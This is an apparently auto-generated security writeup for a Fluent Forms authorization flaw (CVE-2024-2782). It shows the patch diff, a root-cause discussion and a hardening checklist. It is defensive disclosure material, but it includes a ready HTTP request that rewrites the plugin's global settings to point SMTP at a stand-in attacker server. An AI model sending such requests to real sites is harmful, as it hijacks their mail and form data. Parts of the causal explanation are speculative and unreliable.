ANALYSIS · 46059aef· FINISHED 2026-06-13 · PATCHDIFF

fluentform5.1.16 → 5.1.17✓ COMPLETED

Files10

Vulnerable7

True positives0

CVE matched1

1 CVE article ready PatchLeaks generated full security writeups for the matched CVEs · one per CVE, with affected files linked

CVE-2024-2782

FILTERS 0

SEARCH

STATUS

JUDGE

CVE MATCH

EXTENSION

CWE

OPTIONS

Hide “No vulnerability” Hide unjudged

SCOPE

All 10 CVE 1 Vuln 7

SORT

1 files · page 1/1

app/Http/Policies/GlobalSettingsPolicy.php

AI: 1 vulnerabilities

CWE-639: Authorization Bypass Through User-Controlled Key CVE-2024-2782

#%!d(float64=002)

1–1 of 1

⌖

Select a file from the list to inspect its diff and AI analysis.

↑ ↓ to navigate

CVES 1

CVE-2024-2782

Security writeup for CVE-2024-2782

✓ 1 FILE

## The Exploit

An unauthenticated attacker can modify any global setting in the Fluent Forms plugin by sending a POST request to the REST API endpoint with no authentication token, credential, or capability check.

```http
POST /wp-json/fluentform/v1/global-settings HTTP/1.1
Host: target.example.com
Content-Type: application/json

{
  "settings": {
    "reCaptcha": {
      "siteKey": "attacker-controlled-key",
      "secretKey": "attacker-controlled-secret"
    },
    "smtp": {
      "host": "attacker.mail.server",
      "port": 25
    }
  }
}
```

The attacker observes a 200 OK response with the modified settings persisted to the database. Subsequent form submissions now use the attacker's reCAPTCHA keys, SMTP relay, or other hijacked settings, enabling phishing email injection, form data exfiltration, or bot abuse.

## What the Patch Did

**Before**

```php
class GlobalSettingsPolicy extends Policy
{
    public function index()
    {
        return Acl::hasPermission('fluentform_settings_manager');
    }
```

**After**

```php
class GlobalSettingsPolicy extends Policy
{
    public function verifyRequest(Request $request)
    {
        return Acl::hasPermission('fluentform_settings_manager');
    }
    
    public function index()
    {
        return Acl::hasPermission('fluentform_settings_manager');
    }
```

The patch adds a `verifyRequest()` method to the GlobalSettingsPolicy class. This method is a framework-level authorization hook that is invoked before any policy action executes. The vulnerable code only checked permissions inside individual policy methods like `index()`, meaning an attacker could reach the endpoint handler before the authorization gate was evaluated. By implementing `verifyRequest()`, the framework now performs early-stage capability validation on all requests to this policy — the `fluentform_settings_manager` capability check now runs at the request boundary rather than inside the action handler. This is a **centralized capability check** using the plugin's own `Acl::hasPermission()` abstraction.

## Root Cause

**CWE-862: Missing Authorization** combined with **CWE-639: Authorization Bypass Through User-Controlled Key**.

The REST endpoint at `/wp-json/fluentform/v1/global-settings` is registered without a `permission_callback` parameter, or the callback is missing entirely. This allows the WordPress REST dispatcher to call the controller's `index()` method before any authentication or capability verification occurs. The vulnerable code relied on an authorization check *inside* the policy method, but the Policy class itself — a Laravel-style authorization abstraction — was not wired into the request dispatch pipeline. The framework (or custom REST routing layer) never calls `verifyRequest()` because the method did not exist, so the `Acl::hasPermission('fluentform_settings_manager')` check never runs for unauthenticated requests. An attacker sends a JSON payload in the request body with modified settings; the endpoint directly processes this payload and writes it to the database without confirming the request principal (user ID, role, or capability bitmask) holds `fluentform_settings_manager`.

## Why It Works

The load-bearing line is the `verifyRequest()` method signature itself. If the engineer had not added this method, the framework's authorization dispatch would continue to skip permission checks entirely — the `index()` method's `Acl::hasPermission()` call would never execute for unauthenticated requests because the dispatcher would not wait for the policy to validate them. By adding `verifyRequest()`, the engineer relies on a framework convention: most modern authorization middleware or policy dispatch libraries (including those inspired by Laravel's gate/policy pattern) check for the existence of a `verifyRequest()` or `authorize()` method on the policy object and invoke it *before* routing to the action. The duplicate `Acl::hasPermission()` call in the `index()` method provides defense-in-depth — if a downstream engineer later refactors the dispatcher or calls the policy method directly without going through the framework's authorization layer, the check at the action level still blocks unauthorized access. The fix essentially ensures the check runs at two trust boundaries: the request dispatcher level and the action handler level.

## Hardening Checklist

- **Register all REST endpoints with `permission_callback`:** Use `register_rest_route()` with a `permission_callback` parameter that returns `current_user_can( 'fluentform_settings_manager' )` or equivalent. Do not rely on policy classes alone to gate REST endpoints.

- **Implement and export authorization hooks for your policy layer:** If you use a custom authorization abstraction (like a Policy class), ensure the framework recognizes and invokes an early-stage authorization method (e.g., `verifyRequest()` or `authorize()`) before the action handler runs. Document this contract in your routing layer.

- **Audit all endpoints for missing capability checks:** Use `grep -r 'register_rest_route'` to find all REST endpoint declarations and verify each has a non-null `permission_callback`. Automated scanning for `permission_callback => '__return_true'` is a common anti-pattern.

- **Test REST endpoints as an unauthenticated user:** Use `curl -i http://site/wp-json/plugin/v1/endpoint` without a cookie or Bearer token. If the endpoint responds with 200 and modifies data, it is exposed.

- **Validate request origin for state-changing operations:** Add a `wp_verify_nonce()` check in addition to capability checks for POST/PUT/DELETE operations, or enforce strict `origin` header validation and CORS policies.

## References

- https://nvd.nist.gov/vuln/detail/CVE-2024-2782

CVE CVE-2024-2782

PRODUCT fluentform

AFFECTED ≤ 5.1.16

FIXED IN 5.1.17

STATUS Generated

Security writeup · CVE-2024-2782

Source files · 1

app/Http/Policies/GlobalSettingsPolicy.php Linked

↗ NVD